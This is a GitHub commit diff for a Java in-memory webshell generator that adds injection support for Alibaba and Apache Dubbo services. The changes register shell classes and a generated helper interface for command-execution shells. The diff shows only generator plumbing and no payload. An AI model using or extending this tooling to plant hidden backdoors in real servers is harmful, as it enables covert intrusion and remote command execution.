Skip to content

Commit fbca588

Browse files
committed
feat: support Alibaba & Apache dubbo service
1 parent 0ea0aea commit fbca588

35 files changed

Lines changed: 1715 additions & 409 deletions

generator/build.gradle.kts

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -39,6 +39,8 @@ dependencies {
3939
implementation(libs.spring.webflux)
4040
implementation(libs.tomcat.embed.core)
4141
implementation(libs.reactor.netty.core)
42+
implementation(libs.alibaba.dubbo)
43+
implementation(libs.apache.dubbo)
4244
implementation(libs.jackson.annotations)
4345
implementation(libs.bundles.jna)
4446

generator/src/main/java/com/reajason/javaweb/Server.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -21,4 +21,5 @@ public class Server {
2121
public static final String SpringWebFlux = "SpringWebFlux";
2222
public static final String XXLJOB = "XXLJOB";
2323
public static final String Struct2 = "Struct2";
24+
public static final String Dubbo = "Dubbo";
2425
}

generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java

Lines changed: 24 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,11 @@
11
package com.reajason.javaweb.memshell;
22

33
import com.reajason.javaweb.GenerationException;
4+
import com.reajason.javaweb.asm.ClassInterfaceUtils;
45
import com.reajason.javaweb.memshell.config.InjectorConfig;
56
import com.reajason.javaweb.memshell.config.ShellConfig;
67
import com.reajason.javaweb.memshell.config.ShellToolConfig;
8+
import com.reajason.javaweb.memshell.generator.DubboServiceInterfaceHelperGenerator;
79
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
810
import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator;
911
import com.reajason.javaweb.memshell.server.AbstractServer;
@@ -15,6 +17,7 @@
1517
import com.reajason.javaweb.utils.CommonUtil;
1618
import org.apache.commons.codec.binary.Base64;
1719
import org.apache.commons.lang3.StringUtils;
20+
import org.apache.commons.lang3.Strings;
1821
import org.apache.commons.lang3.tuple.Pair;
1922

2023
import java.util.Map;
@@ -60,20 +63,36 @@ public static MemShellResult generate(ShellConfig shellConfig, InjectorConfig in
6063

6164
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
6265

63-
injectorConfig.setInjectorClass(injectorClass);
64-
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
65-
injectorConfig.setShellClassBytes(shellBytes);
66+
if (shellConfig.getShellType().endsWith(ShellType.DUBBO_SERVICE)) {
67+
String packageName = CommonUtil.getPackageName(shellToolConfig.getShellClassName());
68+
String simpleName = CommonUtil.getSimpleName(shellToolConfig.getShellClassName());
69+
String interfaceName = packageName + ".I" + simpleName;
70+
injectorConfig.setInjectorHelperClassName(interfaceName);
71+
injectorConfig.setHelperClassBytes(DubboServiceInterfaceHelperGenerator.getBytes(interfaceName, shellConfig));
72+
shellBytes = ClassInterfaceUtils.addInterface(shellBytes, interfaceName);
73+
String urlPattern = injectorConfig.getUrlPattern();
74+
if (Strings.CS.equalsAny(urlPattern, "/*", "/")
75+
|| StringUtils.isBlank(urlPattern)) {
76+
injectorConfig.setUrlPattern(interfaceName);
77+
}
78+
}
6679

6780
if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
6881
|| ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
69-
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(shellConfig, shellToolConfig));
82+
String helperClassName = shellToolConfig.getShellClassName() + "$1";
83+
injectorConfig.setInjectorHelperClassName(helperClassName);
84+
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(helperClassName, shellConfig, shellToolConfig));
7085
}
7186

87+
injectorConfig.setInjectorClass(injectorClass);
88+
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
89+
injectorConfig.setShellClassBytes(shellBytes);
90+
7291
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
7392
byte[] injectorBytes = injectorGenerator.generate();
7493
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
7594
ProbeConfig probeConfig = ProbeConfig.builder()
76-
.shellClassName(injectorConfig.getInjectorClassName() + "1")
95+
.shellClassName(injectorConfig.getInjectorClassName() + "Wrapper")
7796
.probeMethod(ProbeMethod.ResponseBody)
7897
.probeContent(ProbeContent.Bytecode)
7998
.targetJreVersion(shellConfig.getTargetJreVersion())

generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -47,6 +47,7 @@ public class ServerFactory {
4747
register(Server.SpringWebFlux, SpringWebFlux::new);
4848
register(Server.XXLJOB, XxlJob::new);
4949
register(Server.Struct2, Struct2::new);
50+
register(Server.Dubbo, Dubbo::new);
5051

5152
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
5253
.addShellClass(SERVLET, GodzillaServlet.class)
@@ -162,6 +163,8 @@ public class ServerFactory {
162163
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
163164
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
164165
.addShellClass(ACTION, CommandStruct2Action.class)
166+
.addShellClass(ALIBABA_DUBBO_SERVICE, CommandDubboService.class)
167+
.addShellClass(APACHE_DUBBO_SERVICE, CommandDubboService.class)
165168
.build());
166169

167170
addToolMapping(ShellTool.Suo5, ToolMapping.builder()

generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -50,4 +50,8 @@ public class ShellType {
5050
public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET;
5151

5252
public static final String ACTION = "Action";
53+
54+
public static final String DUBBO_SERVICE = "DubboService";
55+
public static final String APACHE_DUBBO_SERVICE = "Apache" + DUBBO_SERVICE;
56+
public static final String ALIBABA_DUBBO_SERVICE = "Alibaba" + DUBBO_SERVICE;
5357
}

generator/src/main/java/com/reajason/javaweb/memshell/config/InjectorConfig.java

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -27,6 +27,12 @@ public class InjectorConfig {
2727
@Builder.Default
2828
private String injectorClassName = CommonUtil.generateInjectorClassName();
2929

30+
/**
31+
* 辅助类类名
32+
*/
33+
private String injectorHelperClassName;
34+
35+
3036
/**
3137
* 注入访问的地址
3238
*/
Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
package com.reajason.javaweb.memshell.generator;
2+
3+
import com.reajason.javaweb.ClassBytesShrink;
4+
import com.reajason.javaweb.memshell.config.ShellConfig;
5+
import com.reajason.javaweb.memshell.config.ShellToolConfig;
6+
import com.reajason.javaweb.memshell.shelltool.ShellDubboService;
7+
import net.bytebuddy.ByteBuddy;
8+
import net.bytebuddy.dynamic.DynamicType;
9+
10+
public class DubboServiceInterfaceHelperGenerator {
11+
public static byte[] getBytes(String interfaceName, ShellConfig shellConfig) {
12+
try (DynamicType.Unloaded<ShellDubboService> make = new ByteBuddy()
13+
.redefine(ShellDubboService.class)
14+
.name(interfaceName)
15+
.make()) {
16+
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
17+
}
18+
}
19+
}

generator/src/main/java/com/reajason/javaweb/memshell/generator/WebSocketByPassHelperGenerator.java

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,6 @@
77
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
88
import com.reajason.javaweb.memshell.config.*;
99
import com.reajason.javaweb.memshell.shelltool.wsbypass.TomcatWsBypassValve;
10-
import com.reajason.javaweb.utils.CommonUtil;
1110
import net.bytebuddy.ByteBuddy;
1211
import net.bytebuddy.dynamic.DynamicType;
1312
import org.apache.commons.lang3.tuple.Pair;
@@ -19,7 +18,7 @@
1918
* @since 2026/1/13
2019
*/
2120
public class WebSocketByPassHelperGenerator {
22-
public static byte[] getBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
21+
public static byte[] getBytes(String helperClassName, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
2322
Pair<String, String> headerPair = getHeaderPair(shellToolConfig);
2423
if (headerPair == null) {
2524
throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool());
@@ -31,7 +30,7 @@ public static byte[] getBytes(ShellConfig shellConfig, ShellToolConfig shellTool
3130
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
3231
.field(named("headerName")).value(headerPair.getKey())
3332
.field(named("headerValue")).value(headerPair.getValue())
34-
.name(CommonUtil.generateClassName());
33+
.name(helperClassName);
3534
if (shellConfig.isJakarta()) {
3635
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
3736
}

0 commit comments

Comments
 (0)